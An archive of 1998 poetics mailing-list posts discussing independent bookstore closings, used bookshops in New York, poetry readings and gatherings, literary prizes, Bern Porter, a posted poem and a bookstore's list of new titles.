> We especially encourage submissions dealing with the following areas:
>
> * comics, comix (alternative comics) and graphic novels
> * mail art and correspondence art
> * hypermedia art
> * assembling art
> * artists' books
> * concrete poetry
> * advertising, counter-advertising, and "culture-jamming"
> productions
> * zines
> * reviews of secondary literature devoted the above topics
>
> Traditional academic essays should generally fall between 3500 and 7000
> words. We are also seeking non-traditional submissions, interviews,
> hypertext/multimedia projects and book reviews.
>
> All submissions are due May 1, 1998. Please mail one hard copy and
> one electronic copy (floppy disc), or email the electronic text (as an
> attachment) to:
>
> Other Voices
> Attn: Vance Bell
> P.O. Box 31907
> Philadelphia, PA 19104
> [redacted]
>
> Please direct all questions/comments to the same.
>
> --
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> Vance E. Bell, Jr. | Other Voices
> University of Pennsylvania | P.O. Box 31907
> [redacted] | Philadelphia, PA 19104
>
> http://dept.english.upenn.edu/~ov
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>

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>        From the Literary Calls for Papers Mailing List
>                [redacted]
>                    Full Information at
>              http://www.english.upenn.edu/CFP/
>         or write Jack Lynch: [redacted]
>
==================================================
>
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↑ Index

322. **rsillima**

Where are they now?

Tue 14 Apr 1998

A poet whose work I liked quite a bit during the late 60s, early 70s, was Tom Veitch, a NYC school (gen 3) poet with a strong spiritual undercurrent. He was in SF for awhile around the early to mid-70s and then moved, up to Sonoma or beyond I think. Does anyone know what the man is up to these days?

In a very similar vein, Victoria Rathbun? I had heard that she was sick about a decade ago, but nothing since.

Ron Silliman

↑ Index

323. **Charles Alexander**

Re: more closings

Tue 14 Apr 1998

> *I have also known them to tell people that in-print books from publishers not on their master list were out of print and could not be ordered. I tend not to believe in conspiracy theories, so suspect this might just be incompetent local staff.*

Could this have anything to do with amazon.com getting information about lots of small press books that those books were "out of print." Someone alerted me that a Chax book listed with Amazon had that "out of print" status according to amazon, when in fact it was most definitely in print. I checked, and they had virtually all Chax books as out of print, which was false. I did contact someone

there, and they corrected this information with some help from me. Others have told me that other small press books with Amazon are falsely listed as out of print. The Amazon person I talked with said "that was just the information as we received it" -- but didn't tell me where they received it from. I know that after the information was corrected, Chax started receiving a few orders from amazin (not a lot), whereas before that we had received no such orders from them.

charles

charles alexander :: poet and book artist :: [redacted] chax press :: alexander writing/design/publishing books by artists' hands :: web sites built with care and vision http://personal.riverusers.com/~chax/ :: http://alexwritdespub.com

↑ Index

324. daniel bouchard
nyc secondhand bookshops
Tue 14 Apr 1998

Had back-channeled at first; re-post for JK:

The Academy bookstore on W.18th
Also, the one right across the street.

Inexpensive goldmines. Ask Jordan, who works around the corner.

Saw The Hotel Wentley Poems at the Academy, signed by the author to one Leroi Jones. This item however was not inexpensive (about $100). Picked up first cloth edition of MAXIMUS pretty cheap. Also Zukofsky's LITTLE, John Wiener's NERVES, some New Directions Poet of the Month chapbooks from early 40s for a couple bucks a piece. The Academy also has Folocroft reprints with library bindings for 3 or 4 dollars a pop. I found Thoreau's LETTERS thus; collected Hazlitt writings, Whitman's journalism. And cheap, 2nd hand poetry: CIVIL NOIR, I DON'T HAVE ANY MORE PAPER SO I BETTER SHUT UP, among others.

Also, I believe Keston Sutherland is reading in NYC this weekend. At the Zinc Bar. W.Houston and LaGuardia. A great reading series-- go go go go go go go go

daniel bouchard

- db

>
>hey new yorkers,
>
>planning a trip to the big city and would appreciate hearing about yr fave

>used bookstores, specially ones with lotsa good poetix stuff. already
>know about the strand and east village books but need help adding to my
>itinerary. backchannel is fine.
>
>thanks,
>t.
> _____
> | The ground acknowledges my every step as the road's own |
> | scrawl in eyesight's hand |
> | -- Andre du Bouchet -- |
>
~~~
~~~

↑ Index

326. Keston Sutherland
Re: nyc secondhand bookshops
Tue 14 Apr 1998

> *Also, I believe Keston Sutherland is reading in NYC this weekend. At the Zinc Bar.*

Thanks for mentioning it Dan, but actually I'm not. Not that is until May 17th. But are there other readings, anyone else be around, anyone want to meet,

k

↑ Index

327. daniel bouchard
nyc firstrate readings
Tue 14 Apr 1998

At 09:51 AM 4/14/98 -0400, Keston Sutherland wrote:
>Thanks for mentioning it Dan, but actually I'm not. Not that is until
>May 17th. But are there other readings, anyone else be around, anyone
>want to meet,
>
>k
>

well, SOMEONE is, goddammit! And frontiers-people, Niagra and otherwise, would do well to attend. Perhaps Marcella Durand will post a reminder of the readers if she can, as Anselm is away and Douglas not on the list.

- db

<<<<<<>>>>>>>>>>>>>>>>>>
Daniel Bouchard
The MIT Press Journals
Five Cambridge Center
Cambridge, MA 02142

[redacted]
phone: [redacted]
fax: [redacted]
>>>>>>><<<<<<<<<<<<<<<<

↑ Index

328. **J. Kuszai**
Re: nyc secondhand bookshops
Tue 14 Apr 1998

---

hey tom of orange and all of those who reside in New Yorka,

you're not by chance going to the Dan Farrell reading are you? i think some of the Niagara frontiersmen will be there, incl. myself and Scott Pound.

please advise of other fun activities. And please dont backchannel used bookstore lists...

jk

Tom Orange wrote:
>
> hey new yorkers,
>
> planning a trip to the big city and would appreciate hearing about yr fave
> used bookstores, specially ones with lotsa good poetix stuff. already
> know about the strand and east village books but need help adding to my
> itinerary. backchannel is fine.
>
> thanks,
> t.
> _____
> | The ground acknowledges my every step as the road's own |
> | scrawl in eyesight's hand |
> | -- Andre du Bouchet -- |
>
~~~
~~~

↑ Index

330. Carolyn Guertin
Re: "Art/Poetry" Comics Sites on the Net
Tue 14 Apr 1998

>my system doesn't recognize the bpnichol site. are u sure it's right?
Urgh. Well, it works for me.

Try the main url for the >>>iceflow>> site:
http://www.interaccess.org/iceflow/index.html
and then select Tim McLaughlin's 'Threw the Read Window'. The bpNichol section is called 'possible saviours.

Good luck,
Carolyn

_____ Carolyn Guertin, Department of English, University of Alberta E-Mail: [redacted]; Tel/FAX: [redacted] Website: <http://www.ualberta.ca/~cguertin/Guertin.htm>

"Language is a virus." -- Laurie Anderson

↑ Index

331. Laura Moriarty
stanza/paragraph (new non)
Tue 14 Apr 1998

---

new non at http://socrates.berkeley.edu/~moriarty/

In working on the latest non additions I've been lead to wonder about writers' use of the paragraph and/or stanza. Debrot's new stuff in non seems like desiccated paragraphs to me - not surprisingly as it is in relation to Tender Buttons - but he calls it 'songs.' Shaw's work seems more stanzaic, Scalapino's is mostly prose and Davis is of course all over the map.

In general, the stanza seems more song-like, the paragraph to relate more back to prose. I find I am currently using both in different combinations.

Wondered how others relate to using these sub-forms -

Laura

[redacted]
http://socrates.berkeley.edu/~moriarty/

↑ Index

332. lee ann brown
Tax Relief Reading
Tue 14 Apr 1998

Please Come!

Lee Ann Brown
Heather Ramsdell

Wednesday, April 15th
8pm

The Poetry Project
@ St. Mark's Church
2nd Avenue & 10th Street
New York City

↑ Index

333. Miekal And
Re: place(less Place)
Tue 14 Apr 1998

Michael J. Kelleher wrote:
>
> Correction:
>
> the six gallery reading happened in October 1955. Thus, all born after
> this date, are welcome. Thanks to Karen MacCormack for the correction.
>
> Mike

that would include even oldtimers like me, to bad buf is so far away, maybe I could holler into a phone..

miekal

↑ Index

334. Miekal And
Re: Bern Porter
Tue 14 Apr 1998

---

mark

welcome to the list, is there a dog ear website up yet?

miekal

↑ Index

335. **Maria Damon**
Re: Tax Relief Reading
Tue 14 Apr 1998

---

wish i could. knock 'em dead.

At 12:51 PM -0400 4/14/98, lee ann brown wrote:
>Please Come!
>
>Lee Ann Brown
>Heather Ramsdell
>
>Wednesday, April 15th
>8pm
>
>The Poetry Project
>@ St. Mark's Church
>2nd Avenue & 10th Street
>New York City

↑ Index

336. **AERIALEDGE**
Moving Borders Reading
Tue 14 Apr 1998

Sunday, April 19th @ 8 PM

a publication celebration for the Talisman House anthology _Moving Borders: Three Decades of Innovative Writing by Women_

Readers will include the editor, Mary Margaret Sloan, Tina Darragh, Lynne Dreyer, Joan Retallack, and Fiona Templeton.

Bridge Street Books
2814 Pennsylvania Ave NW
Washington, DC
ph [redacted]

↑ Index

337. **Michael J. Kelleher**
place(less Place) gathering
Tue 14 Apr 1998

---

the Buffalo Small Press Collective announces:

place(less Place)

a gathering of poets born after the Six Gallery reading of "Howl" (1956)

"Place there is none; we go forward and backward and there is no place..."

Augustine

date: June 19-21, 1998
place: Buffalo, NY

"a placeless space a) is active and does not issue from a lack b) involves writing and c) engages community."

-Scott Pound

all are invited to come and participate in a weekend of symposia, poetry, rants, manifestos, papers and talks on the subject of

poetics, Placelessness and place

schedule:

friday, June 19 at 8 pm: symposia on poetics, place and Placelessness

saturday, June 20 at

6: Book display, fair, and exchange. Bring your own books or books you have published for an evening of print exchanges.

at

8: reading. all poets who come to buffalo and want to read will be given time to do so. there are no featured readers

sunday, June 21: farewell brunch

place(less Place) will primarily be a gathering of young poets from different places in this here place to read and discuss poetry and poetics, place and the Placeless, with one another. no funding is being provided by any institution or person. if you would like to come, please contact one of the following people by may 15th and we will try to fnd you a place to stay and/or give you the numbers of local hotels, etc.

michael kelleher: [redacted]
graham foust: [redacted]
scott pound: [redacted]
taylor brady [redacted]

"The only work is moonlighting and clandestine...a capture...an assymetrical block, an a-parallel evolution...always 'outside', always 'between'"

-Gilles Deleuze

↑ Index

338. Keston Sutherland
fuer Alle und Keine von Andrea Brady
Tue 14 Apr 1998

CHICKEN BREASTS

He flushed my shirtwaist over this bubble-drain
that clenches under the floor a nocturne of the peril maxim:
break the skin of pain, soft implosion-notes on jellied fruit
driving up to the teeth of his lust. Crawfish eyes sucked,
popped, reft of beauty, my waste merges with positivity of loss:
we used to patter enraged towards what now glows
as much as anything else, lil patriots
permanently out on the town.
The dried bounty of my loss has been burnt on drying
wrecks senseless of the larger bounty, and gives,
dying the blankets over which it is cooled in the amber
bedroom of pleasant sojourns and diurnal rest.
I'm a wreck of fashion, becoming precisely a wraith
of lassitude up to the grease-trap where face slathered
as if with remorse in hair, tallow, frying muck, splits
asunder or is chorefully drained. So much for shunning
the torches of panic: clutching my ragged skin for another ride,
board up for the work-district, flick distention into the token box.
Such that we are no longer niggardly with our shameful supplies,
but blow out the ear of taste with munchies and burnt recipes
he corrects, he ladels, in the pine forest I picnic on nipples
if there's nil else and gaze radiantly from a bared rock
sun or no sun.

↑ Index

339. Douglas
America Awards
Tue 14 Apr 1998

Since America Awards (the "Ferns," instituted in honor
of Anna Fahrni) were begun in 1994 to counter the boredom
and meaninglessness of the National Book Awards and
Pulitzer Prizes, etc. I think this might be as good a
day as any to announce to the poetics list the 1997 awards.

International Award
(awarded to a living writer of international stature for a
body of literary writing)

Friederike Mayrocker (Austria)

[previous winners are Aimé Césaire (1994); Harold Pinter (1995) and José Donoso (1996)]

FICTION

Echoes, by Dennis Barone [Potes & Poets]

[judges: Carla Harryman, Tom La Farge, and Robert Steiner]

POETRY

The Silhouette of the Bridge, by Keith Waldrop [Avice Books]

[judges: Charles Bernstein, Norma Cole, and Marjorie Welish]

DRAMA

Throwin' Bones, by Matthew Maguire (La Mama/Creation Production Company, New York)

[judges: John Jesurun, Susan Mosakowski, Ronald Tavel)

BELLES LETTRES AND SELECTED OR COLLECTED WORKS

Collected Works, Vols I-III (Coffee House Press)

[judges: Joan Retallack, Jerome Rothenberg, Wendy Walker]

↑ Index

340. David Kellogg
Charles Wright wins Pulitzer
Tue 14 Apr 1998

Charles Wright won the Pulitzer for poetry today for his collection _Black Zodiac_. I happen to have read this book one afternoon last week, not having read much of Wright's work in several years. He writes a beatiful phrase, but I can't see what was behind the decision. It seems like the same old thing for him. Does anybody know who were the other nominees?

~~~
~~~

341. Pritchett,Patrick
Re: Charles Wright wins Pulitzer
Tue 14 Apr 1998

Agreed, David. This volume is neither more nor less distinguished than his previous _Chickamauga_ or the one before that - or the one before that. He does have a lapidary way with a line, as they say,and I've often enjoyed him. But adventuresome he's not. Once again - and in vain - the cry goes up: what about Susan Howe? What about Charles Bernstein? Etc. Oh funky day.

This is from www.pulitizer.org: Also nominated as finalists in this category were: "Desire" by Frank Bidart (Farrar, Straus and Giroux), and "The Vigil" by C.K. Williams (Farrar, Straus and Giroux).

There's also a list of the judges.

From: David Kellogg
To: [redacted]
Subject: Charles Wright wins Pulitzer
Date: Tuesday, April 14, 1998 3:28PM

Charles Wright won the Pulitzer for poetry today for his collection _Black Zodiac_. I happen to have read this book one afternoon last week, not having read much of Wright's work in several years. He writes a beatiful phrase, but I can't see what was behind the decision. It seems like the same old thing for him. Does anybody know who were the other nominees?
~~~
~~~

of books that Bern has published or authored. His work would have fit perfectly into the area of the show devoted to publishers from other parts of the country who were active before 1960. Along with Ferlinghetti, J. Williams, Laughlin, et al, Bern was one of the most important small press publishers of the post-war era. Unfortunately, just about all of the histories and exhibits of that era don't give him the sort of credit he deserves.

James Schevill's WHERE TO GO, WHAT TO DO, WHEN YOU ARE BERN PORTER: A PERSONAL BIOGRAPHY (Tilbury House, 1992) is an excellent read into all that Bern has accomplished. It's out-of-print, but I have a few copies left.

Mark Melnicove
216 Cedar Grove Road
Dresden, ME 04342
[redacted]

> *Bern Porter has produced 10s of books & 100s of pages from the trash can at the post office & the copy shop, they tend toward a very demographic diversity of materials...*
>
> *also would highly recommend showing the kids a copy of one of his big found books like Books of Dos or Book of Donts which need no explanation & a quickflip thru can be a delightful way to worm thru a student's self-conscious hesitations.*
>
> *miekal*

↑ Index

343. Michael J. Kelleher
place(less Place)
Tue 14 Apr 1998

Correction:

the six gallery reading happened in October 1955. Thus, all born after this date, are welcome. Thanks to Karen MacCormack for the correction.

Mike

↑ Index

344. ScoutEW
Re: place(less Place)
Tue 14 Apr 1998

i think i'll return to the queen city for this, where is the reading or meeting going to take place on that friday or when will you have a list of where the events

are going to be? I was born at Children's Hospital on Bryant Street, 1971 any other 71'ers out there?

↑ Index

345. Mark Melnicove
Re: Bern Porter
Tue 14 Apr 1998

---

no dog ear site, no other sites, not yet, though I'm also working for National Poetry Foundation, whose website is www.ume.maine.edu/~npf/

can you email me an up-to-date price list for your Bern books that you still want me to distribute to check against mine to make sure I'm accurate as of this minute?

Thanks,
Mark

> *mark*
>
> *welcome to the list, is there a dog ear website up yet?*
>
> *miekal*

↑ Index

346. Susan Wheeler
Re: Charles Wright wins Pulitzer
Tue 14 Apr 1998

Must have been the National Book Critics Circle Awards nominees reading at the National Arts Club a few weeks back here -- Wright took that prize, too.

At 06:20 PM 4/14/98 -0600, you wrote:
>>Charles Wright won the Pulitzer for poetry today for his collection _Black
>>Zodiac_. I happen to have read this book one afternoon last week, not
>>having read much of Wright's work in several years. He writes a beatiful
>>phrase, but I can't see what was behind the decision. It seems like the
>>same old thing for him. Does anybody know who were the other nominees?
>>~~~

>something or other, maybe the Pulitzer. The other poet I happened to flip
>onto before eventually a Jefferson biographer put me into high snooze was
>Frank Bidart, reading from _Desire_. Wright read a poem about Hopkins, I
>think, and seemed at home in tweed but not behind that podium, and who can
>blame him? Nothing really against Wright but the cadence still seems rife
>with echoes of Pound and might suffer in that comparison. But then I
>haven't engaged the book beyond what he mumbled and so can't really offer
>an opinion. Peering at the tube I judged it a TKO for Bidart, though the
>applause was appropriately chipper for all. There probably were still other
>nominees, no? Is it that if one hangs around in certain quarters of po-biz
>long enough sooner or later Dick and Ed come around with an oversized
>letter and a cameraman?
>
>KT
>
>
Susan Wheeler
[redacted]
voice/fax [redacted]

↑ Index

347. Billy Little
Re: place(less Place) gathering
Tue 14 Apr 1998

how about a conference of poets in pre-school?

↑ Index

348. Miekal And
when visiting maine do as the mainelanders do
Tue 14 Apr 1998

this from captain D's online tour guide of belfast, maine.

For a memorable experience, check out the Institute of Advanced Thinking on Salmond Street in Belfast. Open daily year round, the Institute features outdoor sculpture shows, indoor art shows, festivals and readings. Admission is free. The Institute is the brainchild of Bern Porter, who has been variously described as a "maverick publisher, rebel physicist, master of found art," and "The da Vinci of the Atomic Age."

↑ Index

349. **Rachel Levitsky**
Re: more closings
Tue 14 Apr 1998

PW Daily for Booksellers from Publishers Weekly
The First Daily E-Mail Service for Booksellers

Contents for Thursday, April 9, 1998:

Dropping Out: Shepherds Book Center, Ne Little Professor, to Close

Bob Shepherd changed his store's name from Little Professor to the more personal Shepherds Book Centers, but this didn't save his 4500-sq.-ft. bookstore. The State College, Pa., bookseller announced this week that he will close his doors as early as the end of the month.

With a Penn State campus nearby, State College is rife with readers. (Unfortunately, he said, this is probably also what attracted superstore competition there.) So six years ago, Shepherd, a former engineer, decided to make a foray into bookselling. He thought that "Little Professor had some good ideas" and became a franchisee. But things began to deteriorate with the arrival of Encore in State College in 1994 and further with a B&N in 1996. Still, Shepherd says he was in denial. "I should have given up right when the superstores moved in, but I didn't want to believe it," he said.

In January, Shepherd thought that removing the Little Professor name would help, as have other recent franchisee defectors such as Nicola's Books in Ann Arbor, Mich. "Little Professor does not recognize that as a system they have become irrelevant," Shepherd charged. "Their approach to running a bookstore and the assistance they give is totally inadequate to compete with superstores."

Non-college bookselling in State College consists of the two chains and Svoboda's Technical books.--Steven M. Zeitchik

----
Amazon's New 'Man on the Street' Marketing Ploy?

Is this where some of that multi-million-dollar marketing budget is going?

> *At least one Amazon representative has been spotted this week handing out $3 coupons advertising the online bookseller's services in front of independent bookstores in San Francisco, several local booksellers report.*
>
> *The man distributed coupons that read: "Can't find your book? Try Amazon.com with this $3 Gift Certificate. 2.5 million Titles, up to 40% off."*
>
> *One bookseller commented, "A suggestion for other independents out there who have been targeted: It's 'never' a bad time to hose down your sidewalk."*

↑ Index

350. David Zauhar
Re: America Awards
Tue 14 Apr 1998

On Tue, 14 Apr 1998, Douglas wrote:
> Since America Awards (the "Ferns," instituted in honor
> of Anna Fahrni) were begun in 1994 to counter the boredom
> and meaninglessness of the National Book Awards and
> Pulitzer Prizes, etc. I think this might be as good a
> day as any to announce to the poetics list the 1997 awards.
><snip>
> BELLES LETTRES AND SELECTED OR COLLECTED WORKS
>
> Collected Works, Vols I-III (Coffee House Press)
>
> [judges: Joan Retallack, Jerome Rothenberg, Wendy Walker]

I assume this is Paul Metcalf's Collected works, which is incredible and deserving of wider honors than it's going to get.

David Zauhar
University of Illinois at Chicago

to belong to
whatever moves us outward into
the wideness, for journeying...

--Hilda Morley, 1919-1998

↑ Index

351. Keith Tuma
Re: Charles Wright wins Pulitzer
Tue 14 Apr 1998

> *Charles Wright won the Pulitzer for poetry today for his collection _Black Zodiac_. I happen to have read this book one afternoon last week, not having read much of Wright's work in several years. He writes a beatiful phrase, but I can't see what was behind the decision. It seems like the same old thing for him. Does anybody know who were the other nominees?*
> *~~~

issue a brief, though major objection: Svoboda's is NOT a "technical" bookstore, it's the best kind of independent bookstore, the ideal college-town bookstore, located close to campus and near coffeehouses, etc. "The Little Professor" store, I'm afraid to say, was (and I'm deliberately going for understatement here) not very good. The kind of store, basically, that makes me long for a Borders or a Barnes and igNoble's If you're ever in State College, be sure to check out Svoboda's And there's a good used bookstore there, too, called Seven Mountains, where, last time I was there, found _Sounds that Arouse Me_ by Bern Porter. I won't miss the Little Professor as long as Svoboda's and 7 Mountains are around.

Dave Zauhar

> ---
> *Amazon's New 'Man on the Street' Marketing Ploy?*
>
> *Is this where some of that multi-million-dollar marketing budget is going?*
>
> *At least one Amazon representative has been spotted this week handing out $3 coupons advertising the online bookseller's services in front of independent bookstores in San Francisco, several local booksellers report.*
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>
> *One bookseller commented, "A suggestion for other independents out there who have been targeted: It's 'never' a bad time to hose down your sidewalk."*

↑ Index

353. **Pritchett,Patrick**

Re: more closings

Tue 14 Apr 1998

Caught a piece on C-SPAN two or three nights ago where Andre Schiffren - formerly of Random House, but now founder of The New Press - said that there have been 300 closings of independent bookstores over the past decade. Since publishing has become part of other industries (see The Nation conglomerate chart), the 4% annual profit margin that was traditional in the industry has been pushed to become 15 or 20%. Even so, Schiffrin estimates that presses

like his can flourish in the 10% of the market the Big Companies either ignore, concede or fail to dominate.

And yet, and yet - when I go to Barnes & Noble, they have every critical theory title I could ask for and then some. And Boulder Books has - squat. In addition, the owner of BB is by all accounts a colossally conceited individual who badgers and intimidates the used bookstore owners of the area - I won't go into all that here. But it makes me not want to support Boulder Books. My real affection and devotion goes to these used stores and their counterparts everywhere - these are where the pages of dream unfold in the rimefrost of dust.

Patrick Pritchett

From: Rachel Levitsky
To: [redacted]
Subject: Re: more closings
Date: Tuesday, April 14, 1998 7:06PM

> *PW Daily for Booksellers from Publishers Weekly*
> *The First Daily E-Mail Service for Booksellers*
> ---
>
> *Contents for Thursday, April 9, 1998:*
>
> ---
> *Dropping Out: Shepherds Book Center, Ne Little Professor, to Close*
>
> *Bob Shepherd changed his store's name from Little Professor to the more personal Shepherds Book Centers, but this didn't save his 4500-sq.-ft. bookstore. The State College, Pa., bookseller announced this week that he will close his doors as early as the end of the month.*

↑ Index

354. **Maria Damon**
Re: more closings
Tue 14 Apr 1998

---

apparently one ploy of the chain bookstores is to haunt independents looking for titles --in Cambridge, for inst, they'll go to Grolier's for poetry titles and Harvard books for theory and cult studs, stock up on those and put those sections in prominent places in their own chain store, then, after they've driven the indies out of business, phase out the poetry and the cult studs. so, i try not to buy books there no matter what, even if it means special ordering from an

independent. but yes, my faves are the used bookstores, long may they thrive around the edges of commerce.

At 7:27 PM -0500 4/14/98, Pritchett,Patrick @Silverplume wrote:
>Caught a piece on C-SPAN two or three nights ago where Andre Schiffren -
>formerly of Random House, but now founder of The New Press - said that there
>have been 300 closings of independent bookstores over the past decade. Since
>publishing has become part of other industries (see The Nation conglomerate
>chart), the 4% annual profit margin that was traditional in the industry has
>been pushed to become 15 or 20%. Even so, Schiffrin estimates that presses
>like his can flourish in the 10% of the market the Big Companies either
>ignore, concede or fail to dominate.
>
>And yet, and yet - when I go to Barnes & Noble, they have every critical
>theory title I could ask for and then some. And Boulder Books has - squat.
>In addition, the owner of BB is by all accounts a colossally conceited
>individual who badgers and intimidates the used bookstore owners of the area
>- I won't go into all that here. But it makes me not want to support Boulder
>Books. My real affection and devotion goes to these used stores and their
>counterparts everywhere - these are where the pages of dream unfold in the
>rimefrost of dust.
>
>Patrick Pritchett
> ----------

↑ Index

355. **Steven Marks**
Re: Bern Porter
Tue 14 Apr 1998

The latest issue of American Book Review has a piece, "New Poetry and its Technology Anchorage," by Lee Ballentine in which there is mention of a site about Bern Porter. The URL is:

www.henrymiller.org/newsletter/html/porter.html

Haven't taken a look myself, so I'm not sure what's there.

Steven

On Tue, 14 Apr 1998, Mark Melnicove
wrote:

> *no dog ear site, no other sites, not yet, though I'm also working for National Poetry Foundation, whose website is www.ume.maine.edu/~npf/*

> *can you email me an up-to-date price list for your Bern books that you still want me to distribute to check against mine to make sure I'm accurate as of this minute?*
>
> *Thanks,*
> *Mark*
>
> *>mark*
>
> *welcome to the list, is there a dog ear website up yet?*
>
> *miekal*

Steven Marks

http://members.aol.com/swmarks/welcome.html

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356. Michael J. Kelleher
a l y r i c m a i l e r 4
Wed 15 Apr 1998

Attention Poets and Friends!

a l y r i c m a i l e r NUMBER 4

alyric prose issue

featuring:

Thousands

by Laird Hunt

is up and running at:

http//writing.upenn.edu/AandL/english/pubs/spc/alyricmailer/alyric.htm

Laird Hunt works as a Press Officer at the United Nations. He has published work in Grand Street, Sulfur, Talisman et al.and has work forthcoming from No Trees, The World, & City Lights Review. Also forthcoming is a chapbook, Dear Sweetheart, from Talisman House Publishers. He lives in Manhattan, owns two ornery cats & co-edits the journal Psalm 151.

Upcoming issues include work from Heather Fuller, a sound file and text poem for three voices by Carrie Tocci, a critical isssue on the work of Ben Friedlander

(critical submissions and queries welcome at the above e-mail address), and work by Heather Ramsdell.

Enjoy.

Mike

<HTML>
Attention Poets and Friends!

<P>a l y r i c m a i l e r   NUMBER 4

<P>alyric prose issue

<P>featuring:

<P>Thousands

<P>by Laird Hunt

<P>is up and running at:

<P><A HREF="http://writing.upenn.edu/AandL/english/pubs/spc/alyricmailer/alyric.htm">http//writing.upenn.edu/AandL/english/pubs/spc/alyricmailer/alyric.htm</A>

<P>Laird Hunt works as a Press Officer at the United Nations. He has published work in Grand Street, Sulfur, Talisman et al.and has work forthcoming from No Trees, The World, & City Lights Review. Also forthcoming is a chapbook, Dear Sweetheart, from Talisman House Publishers. He lives in Manhattan, owns two ornery cats & co-edits the journal Psalm 151.

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<P>Enjoy.

<P>Mike

 </HTML>

----------D5A71E6FB488BFA583E6F99B--

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357. Tom Orange
nyc books reading
Wed 15 Apr 1998

yes joel not by chance but by design i'm going for the farrell/andrews reading. more the merrier. further plotting ensues...

thanks dan, keston, mark s for suggestions. keep 'em comin. where's jordan davis hiding?

t.

↑ Index

358. AERIALEDGE
New New New @ Bridge Street Books
Wed 15 Apr 1998

It's a BIG list. Ordering & discount information at the end of the list. Thanks for your support.

1. _Towards the Primeval Lightning Field_, Will Alexander, O Books, $10.50. A work of "vertical philosophy", including "Within the Scope of the Post-Mortem Imam," "Ratio as Wealth by Nomadic Lemur," and "The Whirling King in the Runic Psychic Theatre."

2. _Wakefulness_, John Ashbery, FSG, $20. "What good are rules anyway / They apply only to themselves and other rules" "go get a job in the monument industry."

3. _Hegel After Derrida_, Stuart Barnett ed., Routledge, $25.99. Robert Bernasconi, John H. Smith, Jean-Luc Nancy, Werner Hamacher, Stuart Barnet, Suzanne Gearhart, Andrzej Warminski, Simon Critchley, Heinz Kimmerle, Kevin Thompson, Henry Sussman. "A number of things need to be pointed out here."

4. _Close Listening: Poetry and the Performed Word_, Charles Bernstein ed., Oxford, $24.95. Susan Stewart, Nick Piombino, Bruce Andrews, Marjorie Perloff, Susan Howe, Joanna Drucker, Steve McCaffery, Dennis Tedlock, Bob Perleman, Peter Quartermain, Jed Rasula, Peter Middleton, Lorenzo Thomas, Maria Damon, Susan M. Schultz, Ron Silliman. "What is the relation of sound to meaning?"

5. _Chloroform: An Aesthetics of Critical Writing_, Nick Lawrence & Alisa Messer ed, $10. Fiona Templeton, Jena Osman, Abby C., Amy Nestor, Lisa Lucenti, Beth Gerwin, William Howe, Scott Pound, Paul Auster, Benjamin Friedlander, Sheri Weinstein, Charles Bernstein, Micahel Basinski, Michael Stancliff, Cynthia Kimball, Carla Billiteri, Bruce Andrews, Loss Glazier, Martin Spinelli, Ken Sherwood, Ted Pearson, Taylor Brady, Jack Clarke, Kristin Prevallet.

6. _The Little Door Slides Back_, Jeff Clark, Sun & Moon, $10.95. "Fathoming his pomatum."

7. _Life & Death_, Robert Creeley, New Directions, $19.95. "Whatever the hope, / here it is lost. // Because we coveted our difference, here is the cost." The three sections of the book: "Histoire de Florida," "Old Poems, Etc." & "Life & Death / There / Inside My Head."

8. _Explosive Magazine_, fourth issue, ed Katy Lederer, $5. Lisa Lubasch, Prageeta Scharma, Rod Smith, Michael Basinski, Eleni Sikelianos, Darin De Stefano, Gillian Kiley, Albert Flynn DeSilver, Mark Salerno, Travis Ortiz, Leslie Scalapino, and poetry comics by Dave Morice.

9. _The Tel Quel Reader_, Patrick ffrench and Roland-Francois Lack ed, Routledge, $24.99. Julia Kristeva, Jean-Joseph Goux, Jean-Louis Baudry, Michel Foucault, Michelin Pleynet, Philippe Sollers, Marc Devade, Guy Scarpeta, Roland Barthes. There are 3 pieces by Pleynet, 2 each by Kristeva & Sollers, as well as a chronological history of Tel Quel.

10. _Aether_, William Fuller, Gaz, $10. "What exhausts the circuit signifies its revival, without surplus or deficit. Gold is fire, the dialectical solvent, substratum and act: its vacant murmurings vest the appetites; crooked and straight, it kindles and extinguishes the mind."

11. _The Germ #1_, ed MacGregor Card and Andrew Maxwell, $6. Guest, Godfrey, P Gizzi, Coolidge, Prevallet, K Waldrop, Ramke, Hejinian, Rehm, F Howe, Osman, Spahr, Mac Low, Champion, Zurawski, Joron, R Waldrop, Ducornet, many others.

12. _Shi: A Radical Reading of Chinese Poetry_, Yunte Huang, Roof, $9.95. "In acknowledging the foreigness of its source texts, this collection reimagines the task of translation and the possibilities for cross-cultural points of contacts, in the process changing the way we view Chinese poetry." --Charles Bernstein

13. _An Anthology of New (American) Poets_, Lisa Jarnot, Leonard Schwartz, and Chris Stroffolino ed, Talisman, $21.95. Beth Anderson, Lee Ann Brown, Mary Burger, Brenda Coultas, Jordan Davis, Thomas Sayers Ellis, Benjamin Friedlander, Drew Gardner, Peter Gizzi, Renee Gladman, Judith Goldman, Yuri (Riq) Hospodar, Garrett Kalleberg, Candace Kaucher, Bill Luoma, Kimberly Lyons, Jeffrey McDaniel, Mark McMorris, Jennifer Moxley, Claire Needell, Hoa Nguyen, Mark Nowak, Heather Ramsdell, Pam Rehm, Elio Schneeman, Susan M. Schultz, Eleni Sikelianos, Rod Smith, Juliana Spahr, Edwin Torres, Mark Wallace, Elizabeth Willis, Thad Ziolkowski. "I wake up and turn again to poetry"

14. _Lost Wax_, Heather Ramsdell, U Illonois, $11.95. "To welcome the fateful crumb, press 2"

15. _Rhizome 2_, ed Standard Schaefer & Evan Calbi, $10. Contributors include Barbara Guest, Scott Katano, Jacques Debrot, Tan Lin, Joe Ross, Graham Foust, Nick Piombino, Laynie Browne, Ted Greenwald, Patrick Pritchett, W.B. Keckler, Bruce Andrews, Eugenia Butler, Norma Cole, David Bromige, Mark Wallace, & a generous section of reviews.

16. _Real Love: In Pursuit of Cultural Justice_, Andrew Ross, NYU, $17.95. The essays included: "Jobs in Cyberspace," "Mr. Reggae DJ, Meet the International Monetary Fund," "The Gangsta and the Diva," "The Private Parts of Justice," "If the Genes Fit, How Do You Acqit? _O.J. and Science_," "The Great Un- American Numbers Game," "What the People Want from Art?," "The Lonely Hour of Scarcity," and "Claims for Cultural Justice."

17. _Poems for the Millenium: The University of California Book of Modern and Postmodern Poetry, Volume Two_, ed Jerome Rothenberg and Pierre Joris, $24.95.

871 pages, too many contributors to list. As with the first volume the scope is truly international & the editorial commentary is actually informational. "Put war away with time, come into space."

18. _The Situationist City_, Simon Sadler, MIT, $29.95. "We are not attached to the charm of ruins"

19. _Poems_, Sappho, translated w/ intro by Willis Barnstone, Sun & Moon, $10.95. "Don't stir up / small heaps / of beach refuse."

